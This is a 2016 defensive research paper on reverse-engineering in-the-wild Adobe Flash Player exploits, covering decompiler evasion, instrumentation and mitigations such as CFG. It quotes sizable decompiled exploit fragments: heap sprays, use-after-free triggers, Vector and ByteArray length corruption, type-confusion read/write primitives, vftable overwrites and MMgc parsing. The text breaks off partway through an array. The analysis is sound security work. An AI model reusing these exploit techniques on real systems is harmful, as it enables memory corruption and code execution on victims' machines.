The art of reverse-engineering Flash exploits

jeongoh@microsoft.com

Jeong Wook Oh

July 2016

Adobe Flash Player vulnerabilities

As recent mitigations in the Oracle Java plugin and web browsers have raised the bar for security protection, attackers are apparently returning to focus on Adobe Flash Player as their main attack target.

For years, *Vector* corruption was the method of choice for Flash Player exploits. *Vector* is a data structure in Adobe Flash Player that is implemented in a very concise form in native memory space. It is easy to manipulate the structure without the risk of corrupting other fields in the structure. After *Vector* length mitigation was introduced, the attackers moved to *ByteArray.length* corruption (CVE-2015-7645).

Control Flow Guard (CFG) or Control Flow Integrity (CFI) is a mitigation introduced in Windows 8.1 and later, and recently into Adobe Flash Player. Object *vftable (virtual function table)* corruption has been very common technology for exploit writers for years. CFG creates a valid entry point into *vftable* calls for specific virtual calls, and exits the process when non-conforming calls are made. This prevents an exploit's common method of *vftable* corruption.

Reverse-engineering methods

Dealing with Adobe Flash Player exploits is very challenging. The deficiency of usable debuggers at the byte code level makes debugging the exploits a nightmare for security researchers. Obfuscating the exploits is usually a one-way process and any attempt to decompile them has caveats. There are many good decompilers out there, but they usually have points where they fail, and the attackers usually come up with new obfuscation methods as the defense mechanism to protect their exploits from being reverse-engineered. The worst part is that there is no good way to verify whether the decompiled code is right or wrong unless you have access to the original source code. For this limitation with decompiling, the usual reverse engineering involves a mixed approach with multiple tools and techniques.

Decompilers

There are many commercial and open source decompilers for SWF files. JPEXS Free Flash Decompiler is one of the useful decompilers available for free. For commercial SWF decompilers, Action Script Viewer shows good decompiling results. The fundamental limitation with these decompilers is that there is a lot of heavily obfuscated code out there that makes decompiling simply impossible or severely broken. Some decompilers simply output the best code they can produce, but never warn when the code can possibly be broken.

The following shows broken code from one of the decompilers. When an "unresolved jump" error happens, the decompiled code around it tends not to be so accurate.

```
    for (;_local_9 < _arg_1.length;(_local_6 = _SafeStr_128(_local_5, 0x1E)), goto _label_2, if (_local_15 < 0x50) goto _label_1;
, (_local_4 = _SafeStr_129(_local_4, _local_10)), for (;;)
    {
     _local_8 = _SafeStr_129(_local_8, _local_14);
     (_local_9 = (_local_9 + 0x10));
     //unresolved jump ← unresolved jump error
     // @239 jump @254
```

Figure 1 Unresolved jump from ASV decompiler

The following shows the disassembled code where the error happens. Most of the code is garbage code that causes confusion for the decompilers. Uninitialized registers are used to generate extra code blocks with garbage instructions, which most decompilers don't recognize very well.

```
  getlocal3
  getlocal     15 ; 0x0F 0x0F
  getlocal     17 ; 0x11 0x11 ← register 17 is never initialized
  iftrue      L511 ; 0xFF 0xFF ← This condition is always false
  jump       L503 ; 0xF7 0xF7
  ; 0xD7 ← Start of garbage code (this code will be never reached)
  ; 0xC2
  ; 0x0B
  ; 0xC2
  ; 0x04
  ; 0x73
  ; 0x92
  ; 0x0A
  ; 0x08
  ; 0x0F
  ; 0x85
  ; 0x64
  ; 0x08
  ; 0x0C
L503:
  pushbyte     8 ; 0x08 0x08 ← All garbage code
  getlocal     17 ; 0x11 0x11
  iffalse      L510 ; 0xFE 0xFE
  negate_i
  increment_i
  pushbyte     33 ; 0x21 0x21
  multiply_i
L510:
  subtract
L511:
  getproperty     MultinameL([PrivateNamespace("*", "override const/class#0"), PackageNamespace("", "#0"), PrivateNamespace("*",
"override const/class#1"), PackageInternalNs(""), Namespace("http://adobe.com/AS3/2006/builtin"), ProtectedNamespace("override
const"), StaticProtectedNs("override const")]) ; 0x20 0x20
```

Figure 2 Garbage code

Disassemblers

One way to reverse-engineer Flash exploits is using disassemblers. *[RABCDAsm]* is a very powerful disassembler that can extract *ABC (ActionScript Byte Code)* records used in *AVM2 (ActionScript Virtual Machine 2)* from SWF files and disassemble the bytecode inside *ABC* records. For more information on the instructions for *AVM2*, see the ActionScript Virtual Machine 2 Overview from Adobe.

One of the issues we observed with recent Angler exploits is that they use a code to break disassemblers. For example, *lookupswitch* instruction can be abused to break a disassembler like *RABCDasm* when huge *case_count* value is supplied to the tool and no actual code is present for the jump targets.

```
L4:
  lookupswitch    L6-42976, []
```

Figure 3 Malicious lookupswitch instruction

A code patch for this specific case is presented below for the *readMethodBody* routine. It filters out any *lookupswitch* instruction with case counts that are too large (bigger than 0xffff).

```
case OpcodeArgumentType.SwitchTargets:
-       instruction.arguments[i].switchTargets.length = readU30()+1;
-       foreach (ref label; instruction.arguments[i].switchTargets)
+       int length = readU30();
+       if (length<0xffff)
        {
-               label.absoluteOffset = instructionOffset + readS24();
-               queue(label.absoluteOffset);
+               instruction.arguments[i].switchTargets.length = length+1;
+               foreach (ref label; instruction.arguments[i].switchTargets)
+               {
+                       label.absoluteOffset = instructionOffset + readS24();
+                       queue(label.absoluteOffset);
+               }
+               break;
+       }
+       else
+       {
+               writefln("Abnormal SwitchTargets length: %x", length);
        }
-       break;
```

Figure 4 Patch on readMethodBody routine

Because we can also use *RABCDAsm* for compiling *ActionScript*, when an invalid *lookupswitch* instruction generated by the malicious *ABC* record is found in an assembly file, we should ignore them too. The code patch for *writeMethodBody* is presented below.

```
case OpcodeArgumentType.SwitchTargets:
-       if (instruction.arguments[i].switchTargets.length < 1)
-               throw new Exception("Too few switch cases");
-       writeU30(instruction.arguments[i].switchTargets.length-1);
-       foreach (off; instruction.arguments[i].switchTargets)
+       if (instruction.arguments[i].switchTargets.length > 0)
        {
-               fixups ~= Fixup(off, pos, instructionOffset);
-               writeS24(0);
+               //throw new Exception("Too few switch cases");
+               writeU30(instruction.arguments[i].switchTargets.length-1);
+               foreach (off; instruction.arguments[i].switchTargets)
+               {
+                       fixups ~= Fixup(off, pos, instructionOffset);
+                       writeS24(0);
+               }
        }
        break;
                                }
```

Figure 5 writeMethodBody patch

FlashHacker

The [*FlashHacker*](#) prototype was originally developed as an open-source project based on the concept [presented](#) from ShmooCon 2012. We internalized the tool so that it can instrument more elements of *AVM* bytecode and can provide more detailed filtering options. The one challenge you will meet in using *AVM* bytecode instrumentation is the performance degradation with CPU-intensive code. For example, heap spraying code with additional instrumentation will usually make the exploit code fail due to a default timeout embedded in the Flash Player. You can still perform delicate operations by using filters upon this CPU-intensive code. The instrumentation technique was regularly used for the root cause analysis (RCA) and mitigation bypass research work we performed recently.

AVMPlus source code

Having access to source code to the target you're working on is a good advantage. For AVM, you can still look into open-source implementation of AVM from the [AVMplus](#) project. The source code is very useful in understanding what is happening with some exploit code. You can even observe that some exploits took some code directly out from the AVMplus code base, for example *MMgc* parsers.

Native level debugging of Flash

Unless you have a symbol access to Flash, debugging and triaging vulnerabilities and exploits under native level is a challenging work.

RW primitives

Read/write (RW) primitives are the objects or functions the exploit uses to achieve memory read and write. Modern exploits usually require RW primitives to achieve full code execution to bypass defense mechanisms like ASLR or DEP. From a defender's point of view, knowing RW primitives for a new exploit helps a lot with figuring out what code execution method the exploit is employing to bypass mitigation techniques like CFG.

Vector.length corruption

Since introduced with the *Lady Boyle* exploit with CVE-2013-0634 in 2013, *Vector* corruption became a *de facto* standard for Flash exploits. And even IE vulnerabilities (CVE-2013-3163, CVE-2014-0322 and CVE-2014-1776) were exploited through *Vector* corruption. For more details on IE exploit *Vector* use, please read presentation from Chun Feng and Elia Florio.

The following exploit code for CVE-2015-5122, which is a *TextLine* use-after-free vulnerability, used typical *Vector* corruption as its RW primitive method. After laying out *Vector.<uint>* and *TextLine* objects in an adjacent memory, it will trigger use-after-free. At this state, normal *Vector* assignment operation can be used to corrupt adjacent object's *Vector.length* field to 0x40000000 value. This corrupt *Vector* can be used as an RW primitive.

```
public class MyClass extends MyUtils
{
 …
 static var _mc:MyClass;
 static var _vu:Vector.<uint>;
 static var LEN40:uint = 0x40000000;
 static function TryExpl()
 {
   …
   _arLen1 = (0x0A * 0x03);
   _arLen2 = (_arLen1 + (0x04 * 0x04));
   _arLen = (_arLen2 + (0x0A * 0x08));
   _ar = new Array(_arLen);
   _mc = new MyClass();
   …
   _vLen = ((0x0190 / 0x04) - 0x02);
   while (i < _arLen1)
   {
     _ar[i] = new Vector.<uint>(_vLen);
     i = (i + 1);
   };
```

Figure 6 First Vector spray

```
   i = _arLen2;
   while (i < _arLen)
   {
     _ar[i] = new Vector.<uint>(0x08);
     _ar[i][0x00] = i;
     i = (i + 1);
   };
   i = _arLen1;
```

Figure 7 Second Vector spray

```
while (i < _arLen2)
{
 _ar[i] = _tb.createTextLine(); //_tb is TextBlock object
 i = (i + 1);
};
i = _arLen1;
while (i < _arLen2)
{
 _ar[i].opaqueBackground = 0x01;
 i = (i + 1);
};
```

Figure 8 TextLine spray

After spraying *Vector* and *TextLine* objects, the exploit assigns *valueOf2* as a new *valueOf* prototype object to the *MyClass* class itself.

```
MyClass.prototype.valueOf = valueOf2;
_cnt = (_arLen2 - 0x06);
_ar[_cnt].opaqueBackground = _mc; ← Trigger use-after-free vulnerability (static var _mc:MyClass)
```

Figure 9 Trigger use-after-free vulnerability

The *valueOf2* function is called when the *opaqueBackground* assignment happens with the *_mc* variable.

```
static function valueOf2()
{
 var i:int;
 try
 {
  if (++_cnt < _arLen2)
  {
   _ar[_cnt].opaqueBackground = _mc;
  }
  else
  {
   Log("MyClass.valueOf2()");
   i = 0x01;
   while (i <= 0x05)
   {
    _tb.recreateTextLine(_ar[(_arLen2 - i)]); ← Trigger use-after-free condition
    i = (i + 1);
   };
   i = _arLen2;
   while (i < _arLen)
   {
    _ar[i].length = _vLen;
    i = (i + 1);
   };
  };
 ...
 return ((_vLen + 0x08));
}
```

Figure 10 valueOf2 callback is called upon _mc assigment

```
i = _arLen2;
while (i < _arLen)
{
 _vu = _ar[i];
 if (_vu.length > (_vLen + 0x02))
 {
  Log(((("ar[" + i) + "].length = ") + Hex(_vu.length)));
  Log(((((("ar[" + i) + "][") + Hex(_vLen)) + "] = ") + Hex(_vu[_vLen])));
  if (_vu[_vLen] == _vLen)
  {
   _vu[_vLen] = LEN40; ← Corrupt _vu[_vLen+0x02].length to LEN40 (0x40000000)
   _vu = _ar[_vu[(_vLen + 0x02)]]; ← _vu now points to corrupt Vector element
   break;
  };
 };
 i = (i + 1);
};
```

Figure 11 Looking for corrupt Vector element

When the Vector corruption happens, the *FlashHacker* log looks like following. You can observe that the *Vector.<uint>.length* field is corrupt to 0x40000000.

```
* Detection: Setting valueOf: Object=Object Function=valueOf2
* Setting property: MyClass.prototype.valueOf
        Object Name: MyClass.prototype
        Object Type: Object
        Property: valueOf
        Location: MyClass32/class/TryExpl
 builtin.as$0::MethodClosure
 function Function() {}

 * Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
 * Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
 * Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
 * Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
 * Detection: CVE-2015-5122
* Returning from: MyClass._tb.recreateTextLine
 * Detection: Vector Corruption
Corrupt Vector.<uint>.length: 0x40000000 at MyClass32/class/TryExpl L239 ← Vector corruption detected
... Message repeat starts ...

... Last message repeated 2 times ...
Writing __AS3__.vec::Vector.<uint>[0x3FFFFF9A]=0x6A->0x62 Maximum Vector.<uint>.length:328 ← out-of-bounds access
        Location: MyClass32/class/Prepare (L27)
Current vector.<Object> Count: 1 Maximum length:46
Writing __AS3__.vec::Vector.<uint>[0x3FFE6629]=0xAC84EE0->0xA44B348 Maximum Vector.<uint>.length:328
        Location: MyClass32/class/Set (L20)
Writing __AS3__.vec::Vector.<uint>[0x3FFE662A]=0xAE76041->0x9C Maximum Vector.<uint>.length:328
        Location: MyClass32/class/Set (L20)
```

Figure 12 FlashHacker log for Vector corruption

ByteArray.length corruption

The exploit code for CVE-2015-8651 (AS3 fast bytecode optimization) found for the DUBNIUM campaign used the corrupt *ByteArray.length* field as an RW primitive. This technique was introduced to bypass [*Vector* mitigations].

```
_local_4 = 0x8012002C;
si32(0x7FFFFFFF, (_local_4 + 0x7FFFFFFC)); ← Out-of-bounds write with si32 upon ByteArray.length location at _local_4 + 0x7FFFFFFC with value of 0x7FFFFFFF
```

Figure 13 Instruction si32 is used to corrupt ByteArray.length field

After *ByteArray.length* corruption, it needs to determine which *ByteArray* is corrupt out of the sprayed *ByteArrays*.

```
_local_10 = 0x00;
while (_local_10 < bc.length)
{
 if (bc[_local_10].length > 0x10) ← Check if ByteArray.length is corrupt
 {
  cbIndex = _local_10; ← Index of corrupt ByteArray element in the bc array
 }
 else
 {
  bc[_local_10] = null;
 };
 _local_10++;
};
```

Figure 14 Determining corrupt ByteArray

The following shows various RW primitives that this exploit code provides. Basically this extensive list of methods provides functions to support different applications and OS flavors.

```
public function read32(destAddr:Number, modeAbs:Boolean=true):Number
private function read32x86(destAddr:int, modeAbs:Boolean):uint
private function read32x64(destAddr:Number, modeAbs:Boolean):uint
public function readInt(u1:int, u2:int, mod:uint):int
public function read64(destAddr:Number, modeAbs:Boolean=true):Number
private function read64x86(destAddr:int, modeAbs:Boolean):Number
private function read64x64(destAddr:Number, modeAbs:Boolean):Number
public function readBytes(destAddr:Number, nRead:uint, modeAbs:Boolean=true):ByteArray
private function readBytesx86(destAddr:uint, nRead:uint, modeAbs:Boolean):ByteArray
private function readBytesx64(destAddr:Number, nRead:uint, modeAbs:Boolean):ByteArray
public function write32(destAddr:Number, value:uint, modeAbs:Boolean=true):Boolean
private function write32x86(destAddr:int, value:uint, modeAbs:Boolean=true):Boolean
private function write32x64(destAddr:Number, value:uint, modeAbs:Boolean=true):Boolean
public function write64(destAddr:Number, value:Number, modeAbs:Boolean=true):Boolean
private function write64x86(destAddr:uint, value:Number, modeAbs:Boolean):Boolean
private function write64x64(destAddr:Number, value:Number, modeAbs:Boolean):Boolean
public function writeBytes(destAddr:Number, baWrite:ByteArray, modeAbs:Boolean=true):ByteArray
private function writeBytesx86(destAddr:uint, ba:ByteArray, modeAbs:Boolean):ByteArray
private function writeBytesx64(destAddr:Number, ba:ByteArray, modeAbs:Boolean):ByteArray
```

Figure 15 RW primitives

For example, *read32x86* method can be used to read the arbitrary process memory address on the x86 platform. The *cbIndex* variable is the index into the *bc* array which is an array of *ByteArray* type. The *bc[cbIndex]* is the specific *ByteArray* that is corrupted through the fast memory vulnerability. After setting the virtual address as position member, it uses the *readUnsignedInt* method to read the memory value.

```
private function read32x86(destAddr:int, modeAbs:Boolean):uint
{
 var _local_3:int;
 if (((isMitisSE) || (isMitisSE9)))
 {
  bc[cbIndex].position = destAddr;
  bc[cbIndex].endian = "littleEndian";
  return (bc[cbIndex].readUnsignedInt());
 };
```

Figure 16 Read primitive

The same principle applies to the *write32x86* method. It uses the *writeUnsignedInt* method to write to an arbitrary memory location.

```
private function write32x86(destAddr:int, value:uint, modeAbs:Boolean=true):Boolean
{
 if (((isMitisSE) || (isMitisSE9)))
 {
  bc[cbIndex].position = destAddr;
  bc[cbIndex].endian = "littleEndian";
  return (bc[cbIndex].writeUnsignedInt(value));
 };
```

Figure 17 Write primitive

Above these, the exploit can perform a complex operation like reading multiple bytes using the *readBytes* method.

```
private function readBytesx86(destAddr:uint, nRead:uint, modeAbs:Boolean):ByteArray
{
 var _local_4:ByteArray = new ByteArray();
 var _local_5:uint = read32(rwableBAPoiAddr);
 write32(rwableBAPoiAddr, destAddr);
 var _local_6:uint;
 if (nRead > 0x1000)
 {
  _local_6 = read32((rwableBAPoiAddr + 0x08));
  write32((rwableBAPoiAddr + 0x08), nRead);
 };
 rwableBA.position = 0x00;
 try
 {
  rwableBA.readBytes(_local_4, 0x00, nRead);
 }
```

Figure 18 Byte reading primitive

ConvolutionFilter.matrix to tabStops type-confusion

The CVE-2016-1010 is the heap overflow vulnerability with the *BitMapData.copyPixel* method. The exploit that appeared to be exploiting this vulnerability used very interesting RW primitives. One thing to note is that these RW primitives are used to corrupt *ByteArray* and use it as a main RW primitive later. So this first stage RW primitive is used as a temporary measure and *ByteArray* RW primitive as the main one because *ByteArray* operations are more straightforward in programming.

The first step with using this RW primitive is spraying *Convolutionfilter* objects (about count of 0x100).

```
public function SprayConvolutionFilter():void
{
 var _local_2:int;
 hhj234kkwr134 = new ConvolutionFilter(defaultMatrixX, 1);
 mnmb43 = new ConvolutionFilter(defaultMatrixX, 1);
 hgfhgfhfg3454331 = new ConvolutionFilter(defaultMatrixX, 1);
 var _local_1:int;
 while (_local_1 < 0x0100)
 {
  _local_2 = _local_1++;
  ConvolutionFilterArray[_local_2] = new ConvolutionFilter(defaultMatrixX, 1); ← heap spraying ConvolutionFilter objects
 };
}
```

After triggering the vulnerability using *copyPixels* method, it will call the *TypeConfuseConvolutionFilter* method to create a type-confused *ConvolutionFilter* object.

```
public function TriggerVulnerability():Boolean
{
 var _local_9:int;
 var sourceBitmapData:BitmapData = new BitmapData(1, 1, true, 0xFF000001); // fill color is FF000001
 var sourceRect:Rectangle = new Rectangle(-880, -2, 0x4000000E, 8);
 var destPoint:Point = new Point(0, 0);
 var _local_4:TextFormat = new TextFormat();
 _local_4.tabStops = [4, 4];
 …
 _local_1.copyPixels(sourceBitmapData, sourceRect, destPoint);
 if (!(TypeConfuseConvolutionFilter()))
 {
  return (false);
 };
```

Figure 19 Call to TypeConfuseConvolutionFilter method from TriggerVulnerability method

The function uses a DWORD marker of 0x55667788 to corrupt a memory portion from the matrix array and locate the type-confused *ConvolutionFilter* element from the sprayed objects.

```
public function TypeConfuseConvolutionFilter():Boolean
{
 ...
 while (_local_3 < 0x0100)
 {
  _local_4 = _local_3++;
  ConvolutionFilterArray[_local_4].matrixY = kkkk2222222;
  ConvolutionFilterArray[_local_4].matrix = _local_2;
 };
 ...
 _local_5 = gfhfghsdf22432.ghfg43[bczzzzz].matrix;
 _local_5[0] = jjj3.IntToNumber(0x55667788); ← Corrupt memory
 gfhfghsdf22432.ghfg43[bczzzzz].matrix = _local_5;

 ConfusedConvolutionFilterIndex = -1;
 _local_3 = 0;
 while (((ConfusedConvolutionFilterIndex == (-1)) && ((_local_3 < ConvolutionFilterArray.length))))
 {
  matrix = ConvolutionFilterArray[_local_3].matrix;
  _local_4 = 0;
  _local_6 = _local_9.length;
  while (_local_4 < _local_6)
  {
   _local_7 = _local_4++;
   if ((jjj3.NumberToDword(matrix[_local_7]) == 0x55667788)) ← Locate type-confused ConvolutionFilter object
   {
    ConfusedConvolutionFilterIndex = _local_3;
    break;
   };
  };
  _local_3++;
 };
```

Figure 20 Type-confusing ConvolutionFilter and finding affected element

After creating type-confused *ConvolutionFilter*, the exploit uses this object to locate type-confused *TextField* object.

```
public function TriggerVulnerability():Boolean
{
 …
 var _local_7:Boolean;
 var _local_8:int;
 while (_local_8 < 16)
 {
  _local_9 = _local_8++;
  TextFieldArray[_local_9].setTextFormat(_local_4, 4, 5);
  ConfusedMatrix = ConvolutionFilterArray[((ConfusedConvolutionFilterIndex + 5) - 1)].matrix;
  if ((jjj3.NumberToDword(ConfusedMatrix[ConfusedMatrixIndex]) == 8))
  {
   ConfusedTextField = TextFieldArray[_local_9]; ← Type-confused TextField
   _local_7 = true;
   break;
  };
 };
```

Figure 21 Finding type-confused TextField after setTextFormat call and type-confused ConvolutionFilter operation

Read4 method uses corrupt *ByteArray* if it is available, but it also uses type-confused *ConvolutionFilter* with type-confused *TextField*. The object for address input is *ConvolutionFilter* and you can read memory contents through *textFormat.tabStops[0]* of type-confused *TextFormat*.

```
public function read4(_arg_1:___Int64):uint
{
 var matrixIndex:int;
 if (IsByteArrayCorrupt)
 {
  SetCorruptByteArrayPosition(_arg_1);
  return (CorruptByteArray.readUnsignedInt());
 };
 matrixIndex = (17 + ConfusedMatrixIndex);
 TmpMatrix[matrixIndex] = jjj3.IntToNumber(_arg_1.low);
 TmpMatrix[(matrixIndex + 1)] = jjj3.IntToNumber(1);
 ConvolutionFilterArray[((ConfusedConvolutionFilterIndex + 5) - 1)].matrix = TmpMatrix;
 textFormat = ConfusedTextField.getTextFormat(0, 1);
 return (textFormat.tabStops[0]);
}
```

Figure 22 Using TextFormat.tabStops[0] to read memory contents

CFG

After CFG was introduced to Adobe Flash Player, executing code became a non-trivial job for the exploit writers. We observed various techniques they recently use. We also observed CFG can be very powerful in making the cost of the exploit development higher. In fact, in the last two years, no zero day exploits for Microsoft RCE vulnerabilities have been found in-the-wild that work against Internet Explorer 11 on Windows 8.1+, where CFG is present.

```
.text:10C5F13B      mov   esi, [esp+58h+var_3C]
.text:10C5F13F      lea   eax, [esp+58h+var_34]
.text:10C5F143      movups xmm1, [esp+58h+var_34]
.text:10C5F148      movups xmm0, [esp+58h+var_24]
.text:10C5F14D      push  dword ptr [esi]
.text:10C5F14F      mov   esi, [esi+8]
.text:10C5F152      pxor  xmm1, xmm0
.text:10C5F156      push  eax
.text:10C5F157      push  eax
.text:10C5F158      mov   ecx, esi
.text:10C5F15A      movups [esp+64h+var_34], xmm1
.text:10C5F15F      call  ds:___guard_check_icall_fptr ← CFG check routine
.text:10C5F165      call  esi
```

Figure 23 CFG routine

Pre-CFG code execution - *vftable* corruption

Before CFG was introduced into Flash Player, code execution was rather straight-forward once the exploit acquired RW privilege on the target process memory. Mostly it was done by corrupting object *vftable* and calling the corrupt method. *FileReference* and *Sound* objects were popular targets for years for Flash exploits. The following CVE-2015-0336 exploit code shows a code example that is using the *FileReference.cancel* method to execute code.

```
var _local_10:uint = (read32((_local_5 + (((0x08 - 1) * 0x28) * 0x51))) + (((((-(0x9C) + 1) - 1) - 0x6E) - 1) + 0x1B));
var _local_4:uint = read32(_local_10);
write32(_local_10, _local_7);
cool_fr.cancel();
```

Figure 24 Exploit code doing FileReference.cancel call

The following shows a log from the exploit using *FileReference* object for shellcode execution.

```
Writing __AS3__.vec::Vector.<uint>[0x7FFFFBFE]=0x9A90201E->0x1E Maximum Vector.<uint>.length:1022
                Location: Main/instance/trig_loaded (L340)
Writing __AS3__.vec::Vector.<uint>[0x7FFFFBFF]=0x7E74027->0x7E74000 Maximum Vector.<uint>.length:1022
                Location: Main/instance/trig_loaded (L402)
Writing __AS3__.vec::Vector.<uint>[0x7BBE2F8F]=0x931F1F0->0x2A391000 Maximum Vector.<uint>.length:1022
                Location: Main/instance/Main/instance/write32 (L173)
> Call flash.net::FileReference QName(PackageNamespace("", null), "cancel"), 0
 Instruction: callpropvoid QName(PackageNamespace("", null), "cancel"), 0
 Called from: Main/instance/trig_loaded:L707
* Returning from: flash.net::FileReference QName(PackageNamespace("", null), "cancel"), 0
Writing __AS3__.vec::Vector.<uint>[0x7BBE2F8F]=0x2A391000->0x931F1F0 Maximum Vector.<uint>.length:1022
                Location: Main/instance/Main/instance/write32 (L173)
Writing __AS3__.vec::Vector.<uint>[0x7FFFFFFE]=0x7FFFFFFF->0x1E Maximum Vector.<uint>.length:1022
                Location: Main/instance/Main/instance/repair_vector (L32)
```

Figure 25 Shellcode execution through FileReference.cancel call

MMgc

With the introduction of CFG, the attacker moved to *MMgc* to find targets for corruptions to further their code execution. *MMgc* has very predictable behavior with various internal structure allocations. This helps with the attackers in parsing *MMgc* structures and finding corruption target objects.

Object finder

The first in-the-wild CVE-2016-1010 exploit parses *MMgc* internal structures for various purposes. The *MMgc* memory structure parsing starts with object memory leak. The leaked object address comes from a type-confused *ConvolutionFilter* object in this case.

```
public function TriggerVulnerability():Boolean
{
 ...
 _local_1.copyPixels(_local_1, _local_2, _local_3);
 if (!(TypeConfuseConvolutionFilter()))
 {
  return (false);
 };
 …
 gfhfghsdf22432.ghfg43[(bczzzzz + 1)].matrixX = 15;
 gfhfghsdf22432.ghfg43[bczzzzz].matrixX = 15;
 gfhfghsdf22432.ghfg43[((bczzzzz + 6) - 1)].matrixX = 15;
 LeakedObjectAddress = jjj3.hhhh33((jjj3.NumberToDword(ConvolutionFilterArray[ConfusedConvolutionFilterIndex].matrix[0]) & -
4096), 0);
```

Figure 26 Leaking object address

The following code shows the start of the *EnumerateFixedBlocks (hhh222)* function.

```
public function EnumerateFixedBlocks (param1:int, param2:Boolean, param3:Boolean = true, param4:___Int64 = undefined) : Array
  {
   …
   var _loc6_:* = ParseFixedAllocHeaderBySize(param1,param2);
```

Figure 27 EnumerateFixedBlocks (hhh222) uses ParseFixedAllHeaderBySize and ParseFixedBlock calls

EnumerateFixedBlocks (hhh222) calls *ParseFixedAllocHeaderBySize (ghfgfh23)* first. *ParseFixedAllocHeaderBySize (ghfgfh23)* uses *LocateFixedAllocAddrBySize (jjj34fdfg)* and *ParseFixedAllocHeader (cvb45)* to retrieve and parse *FixedAlloc* header information on the objects with specific sizes.

```
public function ParseFixedAllocHeaderBySize(_arg_1:int, _arg_2:Boolean):Object
{
 var _local_3:ByteArray = gg2rw.readn(LocateFixedAllocAddrBySize(_arg_1, _arg_2), FixedAllocSafeSize);
 return (ParseFixedAllocHeader(_local_3, LocateFixedAllocAddrBySize(_arg_1, _arg_2)));
}
```

Figure 28 ParseFixedAllocHeaderBySize (ghfgfh23)

LocateFixedAllocAddrBySize

LocateFixedAllocAddrBySize (jjj34fdfg) gets *arg_1* with heap size and returns the memory location where the heap block starts.

```
* Enter: Jdfgdfgd34/instance/jjj34fdfg(000007f0, True)
* Return: Jdfgdfgd34/instance/jjj34fdfg 00000000`6fb7c36c
```

Figure 29 LocateFixedAllocAddrBySize (jjj34fdfg) returning address of object with size of 0x7f0

The following code shows the part where address length and *FixedAllocSafe* structure size are calculated based on the Flash version and platform.

```
public function Jdfgdfgd34(_arg_1:*, _arg_2:Object):void
{
 ...
 AddressLength = 4;
 if (is64bit)
 {
  AddressLength = 8;
 };
 FixedAllocSafeSize = (((8 + (5 * AddressLength)) + AddressLength) + AddressLength);
 if ((cbc4344.FlashVersionTokens[0] >= 20))
 {
  FixedAllocSafeSize = (FixedAllocSafeSize + AddressLength);
 };
```

Figure 30 Determining MMgc related offsets and object size

DetermineMMgcLocations (hgjdhjjd134134) is used to determine some of the *MMgc* related locations.

```
public function DetermineMMgcLocations (_arg_1:___Int64, _arg_2:Boolean):Boolean
{
 var _local_6 = (null as ___Int64);
 var _local_7 = (null as ___Int64);
 var _local_8 = (null as ___Int64);
 var _local_4:int = (jjjj222222lpmc.GetLow(_arg_1) & -4096);
 var _local_3:___Int64 = jjjj222222lpmc.ConverToInt64((_local_4 + jhjhghj23.bitCount), jjjj222222lpmc.GetHigh(_arg_1));
 _local_3 = jjjj222222lpmc.Subtract(_local_3, offset1);
 var _local_5:___Int64 = gg2rw.peekPtr(_local_3);

 _local_7 = new ___Int64(0, 0);
 _local_6 = _local_7;
 if ((((_local_5.high == _local_6.high)) && ((_local_5.low == _local_6.low))))
 {
  return (false);
 };
 cvbc345 = gg2rw.peekPtr(_local_5);
 …
 if (!(IsFlashGT20))
 {
  _local_6 = SearchDword3F8(_local_5);
  M_allocs01 = _local_6;
  M_allocs02 = _local_6;
 }
 else
 {
  if (_arg_2)
  {
   M_allocs01 = SearchDword3F8(_local_5);
   …
   M_allocs02 = SearchDword3F8(jjjj222222lpmc.AddInt64(M_allocs01, (FixedAllocSafeSize + 20)));
  }
  else
  {
   M_allocs02 = SearchDword3F8(_local_5);
   …
   M_allocs01 = SearchDword3F8(jjjj222222lpmc.SubtractInt64(M_allocs02, (FixedAllocSafeSize + 20)));
  };
 };
 …
}
```

DetermineMMgcLocations (hgjdhjjd134134) calls *SearchDword3F8* on the memory location it got through some memory references from the leaked object address. This *SearchDword3F8* searches for the 0x3F8 DWORD value from the memory, which seems like a very important indicator of the *MMgc* structure it looks for.

```
public function SearchDword3F8(_arg_1:___Int64):___Int64
{
 var currentAddr:___Int64 = _arg_1;
 var ret:int;
 while (ret != 0x3F8)
 {
  currentAddr = jjjj222222lpmc.SubtractInt64(currentAddr, FixedAllocSafeSize);
  if (IsFlashGT20)
  {
   ret = gg2rw.read4(jjjj222222lpmc.AddInt64(currentAddr, (AddressLength + 4)));
  }
  else
  {
   ret = gg2rw.read4(jjjj222222lpmc.AddInt64(currentAddr, AddressLength));
  };
 };
 return (jjjj222222lpmc.SubtractInt64(currentAddr, (AddressLength + 4)));
}
```

Figure 31 SearchDword3F8 routine to scan memory of 0x3f8 DWORD value

LocateFixedAllocAddrBySize (jjj34fdfg) uses *GetSizeClassIndex* method to retrieve the index value and uses it with platform and Flash version-dependent sizes to calculate offsets of the *FixedAlloc* structure header.

```
public function LocateFixedAllocAddrBySize(_arg_1:int, _arg_2:Boolean):___Int64
{
 var index:int = jhjhghj23. GetSizeClassIndex(_arg_1);
 var offset:int = ((2 * AddressLength) + (index * FixedAllocSafeSize));
 if (_arg_2)
 {
  return (jjjj222222lpmc. AddInt (M_allocs01, offset));
 };
 return (jjjj222222lpmc. AddInt (M_allocs02, offset));
}
```

Figure 32 LocateFixedAllocAddrBySize (jjj34fdfg) function

The following code shows the exploit code for *GetSizeClassIndex*.

```
  public function Jdfgdf435GwgVfg():void
  {
            …
    kSizeClassIndex64 = [0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 22, 23, 23, 24, 24, 25, 26, 26, 27, 27, 28,
28, 28, 29, 29, 30, 30, 30, 30, 31, 31, 31, 32, 32, 32, 32, 32, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 35, 35, 35, 35, 35, 35, 35, 35, 35,
36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38,
38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
